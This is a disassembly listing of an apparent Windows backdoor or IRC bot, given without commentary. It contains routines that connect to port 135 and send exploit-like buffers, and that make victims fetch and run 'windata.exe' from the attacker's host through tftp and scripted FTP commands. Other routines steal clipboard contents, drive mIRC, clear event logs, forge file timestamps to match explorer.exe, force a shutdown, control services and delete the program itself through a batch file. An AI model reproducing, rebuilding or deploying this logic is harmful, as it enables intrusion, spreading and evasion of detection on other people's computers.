jl short loc_41A9E3
loc_41AA00: ; CODE XREF: sub_41A9D2+Fj
xor al, al
loc_41AA02: ; CODE XREF: sub_41A9D2+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41AA06: ; CODE XREF: sub_41A9D2+27j
mov al, 1
jmp short loc_41AA02
sub_41A9D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA0A proc near ; CODE XREF: seg000:0040CCCFp
; seg000:0040CDBBp ...
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41EA20
mov eax, [ebp+arg_4]
dec eax
jz short loc_41AA47
dec eax
jz short loc_41AA25
dec eax
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_41AA25: ; CODE XREF: sub_41AA0A+14j
push 3
push 1388h
push [ebp+arg_0]
call ds:dword_44417C ; inet_addr
push eax
call sub_40BC56
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
leave
retn
; ---------------------------------------------------------------------------
loc_41AA47: ; CODE XREF: sub_41AA0A+11j
push esi
push edi
push 6
push 1
push 2
call ds:dword_444100 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz loc_41AB77
push ebx
push 10h
xor ebx, ebx
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push 87h
mov [ebp+var_10], 2
call ds:dword_444260 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_4022BD
pop ecx
mov [ebp+var_C], eax
push 10h
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_4440AC ; connect
cmp eax, edi
jz loc_41AB69
push ebx
push 48h
push offset dword_443370
push esi
call ds:dword_4441A0 ; send
cmp eax, edi
jz loc_41AB69
push ebx
mov esi, 2000h
push esi
lea eax, [ebp+var_2010]
push eax
push [ebp+arg_4]
call ds:dword_444064 ; recv
cmp eax, edi
jz loc_41AB69
cmp [ebp+var_200E], 0Ch
jnz short loc_41AB69
push ebx
push 18h
push offset dword_4433BC
push [ebp+arg_4]
call ds:dword_4441A0 ; send
cmp eax, edi
jz short loc_41AB69
push ebx
push esi
lea eax, [ebp+var_2010]
push eax
push [ebp+arg_4]
call ds:dword_444064 ; recv
mov esi, eax
cmp esi, edi
jz short loc_41AB69
cmp [ebp+var_200E], 2
jnz short loc_41AB69
push 10h
push offset dword_4433D8
lea eax, [ebp+var_2010]
push esi
push eax
call sub_41A9D2
add esp, 10h
test al, al
jz short loc_41AB49
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_41AB69
; ---------------------------------------------------------------------------
loc_41AB49: ; CODE XREF: sub_41AA0A+131j
push 10h
push offset dword_4433EC
lea eax, [ebp+var_2010]
push esi
push eax
call sub_41A9D2
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_41AB69: ; CODE XREF: sub_41AA0A+9Dj
; sub_41AA0A+B4j ...
push [ebp+arg_4]
call ds:dword_444218 ; closesocket
mov eax, ebx
pop ebx
jmp short loc_41AB79
; ---------------------------------------------------------------------------
loc_41AB77: ; CODE XREF: sub_41AA0A+55j
xor eax, eax
loc_41AB79: ; CODE XREF: sub_41AA0A+16Bj
pop edi
pop esi
leave
retn
sub_41AA0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB7D proc near ; CODE XREF: sub_40274D+AEEp
; sub_40274D+B19p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_41AC08
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_41AC08
cmp [ebp+arg_8], esi
jz short loc_41AC08
cmp byte ptr [eax], 0
jz short loc_41AC08
push ebx
push edi
call sub_42996A
mov ebx, eax
test ebx, ebx
pop ecx
jz short loc_41AC03
push [ebp+arg_4]
push edi
call sub_41F090
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_41ABFC
sub eax, edi
push eax
push edi
push ebx
call sub_41E860
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
mov byte ptr [eax+esi], 0
call sub_41E1C0
push eax
push [ebp+arg_8]
push ebx
call sub_41F2C0
push [ebp+arg_4]
call sub_41E1C0
add eax, esi
push eax
push ebx
call sub_41EED0
push ebx
push edi
call sub_41EEC0
add esp, 30h
mov esi, edi
loc_41ABFC: ; CODE XREF: sub_41AB7D+3Cj
push ebx
call sub_41E2A1
pop ecx
loc_41AC03: ; CODE XREF: sub_41AB7D+2Bj
mov eax, esi
pop ebx
jmp short loc_41AC0A
; ---------------------------------------------------------------------------
loc_41AC08: ; CODE XREF: sub_41AB7D+Cj
; sub_41AB7D+13j ...
xor eax, eax
loc_41AC0A: ; CODE XREF: sub_41AB7D+89j
pop edi
pop esi
pop ebp
retn
sub_41AB7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AC0E proc near ; CODE XREF: sub_402472+C2p
; seg000:00413311p
var_7D0 = dword ptr -7D0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
push 7D0h
xor ebx, ebx
lea eax, [ebp+var_7D0]
push ebx
push eax
call sub_41E5F0
mov esi, [ebp+arg_0]
push esi
call sub_41E1C0
xor edi, edi
inc edi
add esp, 10h
cmp eax, edi
jge short loc_41AC46
or eax, 0FFFFFFFFh
jmp short loc_41ACAD
; ---------------------------------------------------------------------------
loc_41AC46: ; CODE XREF: sub_41AC0E+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_7D0], esi
jle short loc_41AC67
loc_41AC52: ; CODE XREF: sub_41AC0E+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_41AC5F
cmp dl, 0Dh
jnz short loc_41AC62
loc_41AC5F: ; CODE XREF: sub_41AC0E+4Aj
mov [ecx+esi], bl
loc_41AC62: ; CODE XREF: sub_41AC0E+4Fj
inc ecx
cmp ecx, eax
jl short loc_41AC52
loc_41AC67: ; CODE XREF: sub_41AC0E+42j
xor edx, edx
cmp eax, ebx
jle short loc_41AC8F
loc_41AC6D: ; CODE XREF: sub_41AC0E+7Fj
cmp [edx+esi], bl
jnz short loc_41AC8A
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_41AC8A
cmp edi, 1F4h
jge short loc_41AC8F
mov [ebp+edi*4+var_7D0], ecx
inc edi
loc_41AC8A: ; CODE XREF: sub_41AC0E+62j
; sub_41AC0E+6Aj
inc edx
cmp edx, eax
jl short loc_41AC6D
loc_41AC8F: ; CODE XREF: sub_41AC0E+5Dj
; sub_41AC0E+72j
cmp [ebp+arg_4], ebx
jz short loc_41ACAB
push 7D0h
lea eax, [ebp+var_7D0]
push eax
push [ebp+arg_4]
call sub_41F400
add esp, 0Ch
loc_41ACAB: ; CODE XREF: sub_41AC0E+84j
mov eax, edi
loc_41ACAD: ; CODE XREF: sub_41AC0E+36j
pop edi
pop esi
pop ebx
leave
retn
sub_41AC0E endp
; =============== S U B R O U T I N E =======================================
sub_41ACB2 proc near ; CODE XREF: sub_41B362+26p
; seg000:0041B40Ap
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_420B27
cmp al, 61h
pop ecx
jl short loc_41ACCD
cmp al, 7Ah
jg short loc_41ACCD
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_41ACCD: ; CODE XREF: sub_41ACB2+Ej
; sub_41ACB2+12j
xor eax, eax
retn
sub_41ACB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACD0 proc near ; CODE XREF: sub_40274D+64B5p
; sub_40274D+74ACp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_42B01C ; RtlGetLastWin32Error
push 0
push 100h
mov esi, eax
lea eax, [ebp+var_100]
push eax
push 400h
push esi
push 0
push 1200h
call ds:dword_42B100 ; FormatMessageA
lea eax, [ebp+var_100]
loc_41AD09: ; CODE XREF: sub_41ACD0+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_41AD15
cmp cl, 9
jnz short loc_41AD18
loc_41AD15: ; CODE XREF: sub_41ACD0+3Ej
inc eax
jmp short loc_41AD09
; ---------------------------------------------------------------------------
loc_41AD18: ; CODE XREF: sub_41ACD0+43j
; sub_41ACD0+5Bj ...
mov byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_41AD32
mov cl, [eax]
cmp cl, 2Eh
jz short loc_41AD18
cmp cl, 21h
jl short loc_41AD18
loc_41AD32: ; CODE XREF: sub_41ACD0+54j
push esi
lea eax, [ebp+var_100]
push eax
push [ebp+arg_0]
mov esi, offset dword_4E1CA8
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41E6FE
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_41ACD0 endp
; =============== S U B R O U T I N E =======================================
sub_41AD5A proc near ; CODE XREF: sub_40274D+22AFp
push esi
push 0
call ds:dword_44409C ; OpenClipboard
test eax, eax
jz short loc_41AD91
push 1
call ds:dword_44423C ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_41AD91
push edi
push esi
call ds:dword_42B108 ; GlobalLock
push esi
mov edi, eax
call ds:dword_42B104 ; GlobalUnlock
call ds:dword_444080 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41AD91: ; CODE XREF: sub_41AD5A+Bj
; sub_41AD5A+19j
xor eax, eax
pop esi
retn
sub_41AD5A endp
; =============== S U B R O U T I N E =======================================
sub_41AD95 proc near ; CODE XREF: sub_40274D+725Fp
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
push esi
mov edi, offset aMirc_0 ; "mIRC"
push edi
call ds:dword_444160 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_41AE11
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call ds:dword_42B114 ; CreateFileMappingA
push esi
push esi
push esi
mov edi, eax
push 0F001Fh
push edi
call ds:dword_42B110 ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41E6A6
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call ds:dword_4441CC ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call ds:dword_4441CC ; SendMessageA
push ebx
call ds:dword_42B10C ; UnmapViewOfFile
push edi
call ds:dword_42B004 ; CloseHandle
xor eax, eax
inc eax
pop ebx
jmp short loc_41AE13
; ---------------------------------------------------------------------------
loc_41AE11: ; CODE XREF: sub_41AD95+16j
xor eax, eax
loc_41AE13: ; CODE XREF: sub_41AD95+7Aj
pop edi
pop esi
pop ebp
retn
sub_41AD95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE17 proc near ; CODE XREF: sub_40A263+1FCp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push esi
xor esi, esi
push esi
lea eax, [ebp+var_11C]
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call ds:dword_444124 ; SearchPathA
test eax, eax
jz short loc_41AEB8
push ebx
push edi
push esi
mov edi, 80h
push edi
push 3
push esi
mov esi, ds:dword_42B08C
push 1
push 80000000h
lea eax, [ebp+var_11C]
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_41AEB6
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_42B11C ; GetFileTime
push ebx
mov ebx, ds:dword_42B004
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41AEB6
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_42B118 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_41AEB6: ; CODE XREF: sub_41AE17+51j
; sub_41AE17+87j
pop edi
pop ebx
loc_41AEB8: ; CODE XREF: sub_41AE17+28j
pop esi
leave
retn
sub_41AE17 endp
; =============== S U B R O U T I N E =======================================
sub_41AEBB proc near ; CODE XREF: sub_40274D+14E0p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_41C3D9
pop ecx
pop ecx
push 50005h
push 6
call ds:dword_4441A4 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_41AEBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AEDD proc near ; CODE XREF: sub_40274D+254Dp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp ds:dword_43C088, esi
push edi
jz short loc_41AF01
cmp ds:dword_444274, esi
jnz short loc_41AF01
push esi
call sub_401000
pop ecx
loc_41AF01: ; CODE XREF: sub_41AEDD+13j
; sub_41AEDD+1Bj
call sub_40AFF6
lea eax, [ebp+var_764]
push eax
push 400h
call ds:dword_42B030 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41E6A6
add esp, 0Ch
push esi
push esi
push 2
push esi
push esi
push 40000000h
lea eax, [ebp+var_260]
push eax
call ds:dword_42B08C ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_41B061
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41E6A6
add esp, 0Ch
push esi
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_764]
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call ds:dword_42B084 ; WriteFile
push edi
call ds:dword_42B004 ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41E5F0
push 44h
pop edi
push edi
lea eax, [ebp+var_58]
push esi
push eax
call sub_41E5F0
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
push edi
lea eax, [ebp+var_15C]
push eax
push esi
mov [ebp+var_4C], offset byte_42B633
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call ds:dword_42B024 ; GetModuleHandleA
push eax
call ds:dword_42B00C ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call ds:dword_42B050 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_41B009
push 80h
lea eax, [ebp+var_15C]
push eax
call ds:dword_42B04C ; SetFileAttributesA
loc_41B009: ; CODE XREF: sub_41AEDD+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41E6A6
add esp, 10h
push edi
lea eax, [ebp+var_364]
push eax
lea eax, [ebp+var_764]
push eax
call ds:dword_42B120 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
push esi
lea eax, [ebp+var_364]
push eax
push esi
call ds:dword_42B008 ; CreateProcessA
loc_41B061: ; CODE XREF: sub_41AEDD+72j
pop edi
pop esi
leave
retn
sub_41AEDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B065 proc near ; CODE XREF: sub_40274D+6E5Fp
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
push 94h
xor edi, edi
lea eax, [ebp+var_94]
push edi
push eax
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+var_94]
push eax
mov [ebp+var_94], 94h
call ds:dword_42B064 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_41B0FB
push [ebp+arg_10]
push [ebp+arg_C]
call ds:dword_444248 ; OpenEventLogA
push edi
push eax
call ds:dword_44411C ; ClearEventLogA
test eax, eax
jz short loc_41B0ED
push [ebp+arg_10]
push offset dword_437AD8
loc_41B0C6: ; CODE XREF: sub_41B065+94j
lea eax, [ebp+var_294]
push eax
call sub_41E6A6
push edi
push [ebp+arg_8]
lea eax, [ebp+var_294]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 20h
jmp short loc_41B125
; ---------------------------------------------------------------------------
loc_41B0ED: ; CODE XREF: sub_41B065+57j
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_437AB0
jmp short loc_41B0C6
; ---------------------------------------------------------------------------
loc_41B0FB: ; CODE XREF: sub_41B065+3Fj
lea eax, [ebp+var_294]
push offset unk_437A80
push eax
call sub_41E6A6
push edi
push [ebp+arg_8]
lea eax, [ebp+var_294]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 1Ch
loc_41B125: ; CODE XREF: sub_41B065+86j
pop edi
leave
retn
sub_41B065 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B128 proc near ; CODE XREF: seg000:0040CEF6p
; sub_40D7FE+434p ...
var_5A4 = byte ptr -5A4h
var_1A4 = byte ptr -1A4h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A4h
push esi
push edi
push 10h
xor edi, edi
lea eax, [ebp+var_14]
push edi
push eax
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+arg_4]
push eax
mov [ebp+var_14], 2
call ds:dword_44417C ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_10], eax
call ds:dword_444260 ; htons
push edi
push 1
push 2
mov [ebp+var_12], ax
call ds:dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+var_4], esi
jz short loc_41B18E
push 10h
lea eax, [ebp+var_14]
push eax
push esi
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_41B195
loc_41B18E: ; CODE XREF: sub_41B128+52j
xor al, al
jmp loc_41B247
; ---------------------------------------------------------------------------
loc_41B195: ; CODE XREF: sub_41B128+64j
push ebx
push edi
mov ebx, 400h
push ebx
lea eax, [ebp+var_5A4]
push eax
push esi
call ds:dword_444064 ; recv
mov esi, offset aWindata_exe ; "windata.exe"
push esi
push esi
push [ebp+arg_0]
call sub_4023C9
pop ecx
push eax
push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
mov edi, 190h
lea eax, [ebp+var_1A4]
push edi
push eax
call sub_41E6FE
movzx eax, word ptr ds:dword_4D1FE4
add esp, 18h
push esi
push esi
push eax
push [ebp+arg_0]
call sub_4023C9
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A4]
push edi
push eax
call sub_41E6FE
add esp, 1Ch
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push [ebp+var_4]
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41B228
xor al, al
jmp short loc_41B246
; ---------------------------------------------------------------------------
loc_41B228: ; CODE XREF: sub_41B128+FAj
push 0
push ebx
lea eax, [ebp+var_5A4]
push eax
push [ebp+var_4]
call ds:dword_444064 ; recv
push [ebp+var_4]
call ds:dword_444218 ; closesocket
mov al, 1
loc_41B246: ; CODE XREF: sub_41B128+FEj
pop ebx
loc_41B247: ; CODE XREF: sub_41B128+68j
pop edi
pop esi
leave
retn
sub_41B128 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=6Ch
sub_41B24B proc near ; CODE XREF: sub_40274D+5347p
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-6Ch]
sub esp, 1C0h
lea eax, [ebp+6Ch+var_94]
push eax
mov [ebp+6Ch+var_94], 94h
call ds:dword_42B064 ; GetVersionExA
cmp [ebp+6Ch+var_90], 4
jnz short loc_41B283
cmp [ebp+6Ch+var_8C], 0
jnz loc_41B310
xor eax, eax
inc eax
cmp [ebp+6Ch+var_84], eax
jz loc_41B30B
loc_41B283: ; CODE XREF: sub_41B24B+20j
; sub_41B24B+CFj
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call ds:dword_42B018 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call ds:dword_42B020 ; GetProcAddress
push 32h
push [ebp+6Ch+arg_0]
mov edi, eax
lea eax, [ebp+6Ch+var_1C0]
push eax
call sub_4204DD
push 32h
push [ebp+6Ch+arg_4]
lea eax, [ebp+6Ch+var_15C]
push eax
call sub_4204DD
push 32h
push [ebp+6Ch+arg_8]
lea eax, [ebp+6Ch+var_F8]
push eax
call sub_4204DD
lea eax, [ebp+6Ch+var_F8]
push eax
call sub_4206A3
shl eax, 1
push eax
lea eax, [ebp+6Ch+var_F8]
push eax
lea eax, [ebp+6Ch+var_15C]
push eax
lea eax, [ebp+6Ch+var_1C0]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
push esi
mov edi, eax
call ds:dword_42B0F8 ; FreeLibrary
mov eax, edi
pop edi
pop esi
loc_41B30B: ; CODE XREF: sub_41B24B+32j
; sub_41B24B+D8j
add ebp, 6Ch
leave
retn
; ---------------------------------------------------------------------------
loc_41B310: ; CODE XREF: sub_41B24B+26j
cmp [ebp+6Ch+var_8C], 0Ah
jz short loc_41B320
cmp [ebp+6Ch+var_8C], 5Ah
jnz loc_41B283
loc_41B320: ; CODE XREF: sub_41B24B+C9j
xor eax, eax
inc eax
jmp short loc_41B30B
sub_41B24B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B325 proc near ; CODE XREF: seg000:0040FCE7p
; seg000:004102E3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call sub_41ECDE
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_437B70
call sub_41FE38
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_41B325 endp
; =============== S U B R O U T I N E =======================================
sub_41B362 proc near ; CODE XREF: seg000:0041B3D2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
rep stosd
lea edi, [eax-1]
xor esi, esi
test edi, edi
jl short loc_41B39C
push ebx
mov ebx, edi
loc_41B37F: ; CODE XREF: sub_41B362+37j
mov eax, [esp+0Ch+arg_0]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41ACB2
pop ecx
mov ecx, [esp+0Ch+arg_8]
inc esi
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_41B37F
pop ebx
loc_41B39C: ; CODE XREF: sub_41B362+18j
pop edi
pop esi
retn
sub_41B362 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41EA20
push ebx
push esi
push edi
push dword ptr [ebp+8]
call sub_41E1C0
push dword ptr [ebp+0Ch]
mov [ebp-4], eax
call sub_41E1C0
mov esi, eax
lea eax, [ebp-100Ch]
push eax
push esi
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], esi
call sub_41B362
add esp, 14h
dec esi
mov edi, esi
jmp short loc_41B453
; ---------------------------------------------------------------------------
loc_41B3DF: ; CODE XREF: seg000:0041B455j
mov eax, [ebp+0Ch]
movsx eax, byte ptr [esi+eax]
push eax
call sub_420B27
mov ebx, eax
mov eax, [ebp+8]
movsx eax, byte ptr [edi+eax]
push eax
call sub_420B27
cmp eax, ebx
pop ecx
pop ecx
jz short loc_41B451
loc_41B401: ; CODE XREF: seg000:0041B44Fj
mov ebx, [ebp+8]
xor eax, eax
mov al, [edi+ebx]
push eax
call sub_41ACB2
mov edx, [ebp-0Ch]
mov eax, [ebp+eax*4-100Ch]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_41B424
mov eax, ecx
loc_41B424: ; CODE XREF: seg000:0041B420j
add edi, eax
cmp edi, [ebp-4]
jge short loc_41B461
mov eax, [ebp+0Ch]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_420B27
movsx ecx, byte ptr [edi+ebx]
push ecx
mov [ebp-8], eax
call sub_420B27
pop ecx
pop ecx
mov ecx, [ebp-8]
cmp eax, ecx
jnz short loc_41B401
loc_41B451: ; CODE XREF: seg000:0041B3FFj
dec edi
dec esi
loc_41B453: ; CODE XREF: seg000:0041B3DDj
test esi, esi
jg short loc_41B3DF
mov eax, [ebp+8]
add eax, edi
loc_41B45C: ; CODE XREF: seg000:0041B463j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B461: ; CODE XREF: seg000:0041B429j
xor eax, eax
jmp short loc_41B45C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B465 proc near ; CODE XREF: sub_41BF46+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
push 0F003Fh
xor ebx, ebx
push ebx
push ebx
call ds:dword_4441C8 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_41B48C
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41B501
; ---------------------------------------------------------------------------
loc_41B48C: ; CODE XREF: sub_41B465+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call ds:dword_44424C ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_41B4AC
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41B4F9
; ---------------------------------------------------------------------------
loc_41B4AC: ; CODE XREF: sub_41B465+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_41B4DF
cmp eax, 3
jz short loc_41B4D0
jle short loc_41B4F2
cmp eax, 6
jg short loc_41B4F2
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call ds:dword_4441EC ; ControlService
jmp short loc_41B4E6
; ---------------------------------------------------------------------------
loc_41B4D0: ; CODE XREF: sub_41B465+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call ds:dword_4441D0 ; StartServiceA
jmp short loc_41B4E6
; ---------------------------------------------------------------------------
loc_41B4DF: ; CODE XREF: sub_41B465+4Dj
push esi
call ds:dword_4440F4 ; DeleteService
loc_41B4E6: ; CODE XREF: sub_41B465+69j
; sub_41B465+78j
test eax, eax
jnz short loc_41B4F2
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ebx, eax
loc_41B4F2: ; CODE XREF: sub_41B465+54j
; sub_41B465+59j ...
push esi
call ds:dword_444134 ; CloseServiceHandle
loc_41B4F9: ; CODE XREF: sub_41B465+45j
push edi
call ds:dword_444134 ; CloseServiceHandle
pop esi
loc_41B501: ; CODE XREF: sub_41B465+25j
pop edi
mov eax, ebx
pop ebx
leave
retn
sub_41B465 endp
; =============== S U B R O U T I N E =======================================
sub_41B507 proc near ; CODE XREF: sub_41BF46:loc_41BF8Ep
mov ecx, 420h
cmp eax, ecx
ja loc_41B5B8
jz loc_41B5B1
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_41B57B
jz short loc_41B571
mov ecx, eax
sub ecx, 3
jz short loc_41B567
dec ecx
dec ecx
jz short loc_41B55D
dec ecx
jz short loc_41B553
sub ecx, 51h
jz short loc_41B549
sub ecx, 24h
jnz loc_41B62E ; default
; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B549: ; CODE XREF: sub_41B507+2Dj
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_41B620
; ---------------------------------------------------------------------------
